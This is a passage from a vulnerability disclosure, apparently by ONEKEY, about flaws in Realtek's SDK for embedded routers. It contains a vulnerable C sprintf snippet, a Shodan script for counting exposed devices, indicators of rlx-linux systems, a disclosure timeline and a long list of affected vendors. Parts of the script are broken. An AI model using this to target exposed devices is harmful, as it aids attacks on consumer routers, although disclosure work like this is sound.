  sprintf(pre_result, "%s > /tmp/MP.txt ok", buf);
else {
  // 3 bytes overflow if buf contains BUFLEN bytes
  sprintf(pre_result, "%s ok", buf);;

Identifying Affected Vendors

To identify devices affected by the vulnerabilities identified in the UPnP/SSDP service, we can rely on Shodan.

After some research, our understanding is that Shodan does this:

  • sends SSDP M-SEARCH to port UDP/1900 to every IP in the whole IPv4 range
  • for each device that answers with an SSDP NOTIFY, try to fetch the the device description over UPnP by using the SSDP NOTIFY Location header (e.g. http://hostname:52881/simplecfg.xml) as target
  • parse the device description and enrich the host data with it (model name, model number, model description)

The model name, number, and description are exposed by Shodan as the “product” facet. Knowing this, we can fetch all vendors and model names that expose an SSDP/UPnP service over the Internet that is based on the vulnerable Realtek SDK.

#!/usr/bin/env python3

import shodan
import sys

# Configuration

# The list of properties we want summary information on
    ('product', 1000)

    products = set()
    # Setup the api
    api = shodan.Shodan(API_KEY)

    # query services matching the Realtek SDK
    queries = [
        "\"Realtek/V1.0\" port:\"1900\"",
        "\"Realtek/V1.1\" port:\"1900\"",
        "\"Realtek/V1.2\" port:\"1900\"",
        "\"Realtek/V1.3\" port:\"1900\""

    for query in queries:
        result = api.count(query, facets=FACETS)
        for facet in result['facets']:
            for term in result['facets'][facet]:

    for product in sorted(products):

except Exception as e:
    print('Error: %s' % e)

We got 198 unique fingerprints for devices that answered over UPnP. If we estimate that each device may have sold 5k copies (on average), the total count of affected devices would be close to a million.

The list of affected devices that we were able to identify can be found in the appendix.

Realtek System Indicators

If you are assessing an embedded device, these are indicators of a system relying on Realtek’s SDK.

An easy indicator is the /etc/motd file mentioning rlx-linux:

RLX Linux version 2.0
         _           _  _
        | |         | ||_|                 
   _  _ | | _  _    | | _ ____  _   _  _  _ 
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:

Hostname is usually set to rlx-linux in the init script:

hostname rlx-linux

Another is /etc/version, which is not always present:

RTL819xD v1.0 --  Mon Nov 30 16:52:13 CST 2020
The SDK version is: Realtek SDK v3.2.3-r14377
Ethernet driver version is: 14120-14374
Wireless driver version is:
Fastpath source version is: 14363-13971
Feature support version is: 13990-12484

rlx-linux is a stripped down Linux system from Realtek, built specifically for the RTL chipsets.


  • 2021-05-17 – Ask Realtek security team for a way to send our report securely.
  • 2021-05-18 – Realtek security team provides their PGP key, we send encrypted advisories.
  • 2021-05-25 – Realtek security team request Python PoC scripts.
  • 2021-05-25 – We provide scripts for every reported vulnerability.
  • 2021-06-10 – Realtek security team provides us the patched code, along with a patched firmware for the 96D_92D demo boards.
  • 2021-06-10 – We review the patch and send our comments related to checks that could still be bypassed.
  • 2021-06-11 – Realtek security team provides us with the exact list of affected versions for “Jungle” and “Luna” SDKs. The 2.x branch is no longer supported by Realtek, being 11 years old.
  • 2021-06-16 – We request CVE identifiers from MITRE.
  • 2021-08-05 – We receive CVE identifiers from MITRE.
  • 2021-08-13 – Realtek publish its advisory.
  • 2021-08-16 – End of 90 days disclosure window, releasing this post.


List of (known) affected manufacturers


Affected Models

A-Link Europe Ltd


ARRIS Group, Inc


Airlive Corp.


Abocom System Inc.

Wireless Router ?


Wifi Range Extenders

Amped Wireless




ASUSTek Computer Inc.

RT-Nxx models, WL330-NUL
Wireless WPS Router RT-N10E
Wireless WPS Router RT-N10LX
Wireless WPS Router RT-N12E
Wireless WPS Router RT-N12LX




Smart Box v1


AC1200DB Wireless Router F9K1113 v4
AC1200FE Wireless Router F9K1123
AC750 Wireless Router F9K1116

Buffalo Inc.


Calix Inc.


China Mobile Communication Corp.


Compal Broadband Networks, INC.

CH66xx cable modems line.


DIR-XXX models based on rlx-linux
DAP-XXX models based on rlx-linux


DAP-1155 A1
DAP-1360 C1
DAP-1360 B1


VoIP Router DVG-2102S
VoIP Router DVG-5004S
VoIP Router DVG-N5402GF
VoIP Router DVG-N5402SP
VoIP Router DVG-N5412SP
Wireless VoIP Device DVG-N5402SP

DASAN Networks


Davolink Inc.

DVW2700 1
DVW2700L 1


VoIP Router ECG4510-05E-R01


Wireless Router BR-6428nS
N150 Wireless Router BR6228GNS
N300 Wireless Router BR6428NS



EnGenius Technologies, Inc.

11N Wireless Router
Wireless AP Router



Esson Technology Inc.

Wifi Module ESM8196 – (therefore any device using this wifi module)

EZ-NET Ubiquitous Corp.



PRN3005L D5



Hawking Technologies, Inc.








LG International

Axler Router LGI-R104N
Axler Router LGI-R104T
Axler Router LGI-X501
Axler Router LGI-X502
Axler Router LGI-X503
Axler Router LGI-X601
Axler Router LGI-X602
Axler Router RT-DSE





MMC Technology




NetComm Wireless






Nexxt Solutions


Observa Telecom



VoIP Router ODC201AC
VoIP Router OGC200W
VoIP Router ONC200W
VoIP Router SP300-DS
VoIP Router SP5220SO
VoIP Router SP5220SP

Omega Technology

Wireless N Router O31 OWLR151U
Wireless N Router O70 OWLR307U


Axler RT-TSE
Axler Router R104
Axler Router R3
Axler Router X503
Axler Router X603
LotteMart Router 104L
LotteMart Router 502L
LotteMart Router 503L
Router P104S
Router P501

Planex Communications Corp.


PLANET Technology



RTL8196C EV-2009-02-06
RTL8xxx EV-2009-02-06
RTL8xxx EV-2010-09-20
RTL8186 EV-2006-07-27
RTL8671 EV-2006-07-27
RTL8671 EV-2010-09-20
RTL8xxx EV-2006-07-27
RTL8xxx EV-2009-02-06
RTL8xxx EV-2010-09-20

Revogi Systems

Sitecom Europe BV

Sitecom Wireless Gigabit Router WLR-4001
Sitecom Wireless Router 150N X1 150N
Sitecom Wireless Router 300N X2 300N
Sitecom Wireless Router 300N X3 300N



Sercomm Corp.

Telmex Infinitum

Shaghal Ltd.


Shenzhen Yichen (JCG) Technology Development Co., Ltd.


Skyworth Digital Technology.

Mesh Router



TCL Communication







AC6, AC10, W6, W9, i21



TRENDnet, Inc.
TRENDnet Technology, Corp.





MF253V, MF910


NBG-416N AP Router
NBG-418N AP Router


ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of an automated Product Cybersecurity & Compliance Platform (PCCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

Critical vulnerabilities and compliance violations in device firmware are automatically identified in binary code by AI-based technology in minutes – without source code, device, or network access. Proactively audit software supply chains with integrated software bill of materials (SBOM) generation. “Digital Cyber Twins” enable automated 24/7 post-release cybersecurity monitoring throughout the product lifecycle.

The patent-pending, integrated Compliance Wizard™ already covers the upcoming EU Cyber Resilience Act (CRA) and existing requirements according to IEC 62443-4-2, ETSI EN 303 645, UNECE R 155 and many others.

The Product Security Incident Response Team (PSIRT) is effectively supported by the integrated automatic prioritisation of vulnerabilities, significantly reducing the time to remediation.

Leading international companies in Asia, Europe and the Americas already benefit from the ONEKEY Product Cybersecurity & Compliance Platform and ONEKEY Cybersecurity Experts.



Sara Fortmann

Marketing Manager


euromarcom public relations GmbH

+49 611 973 150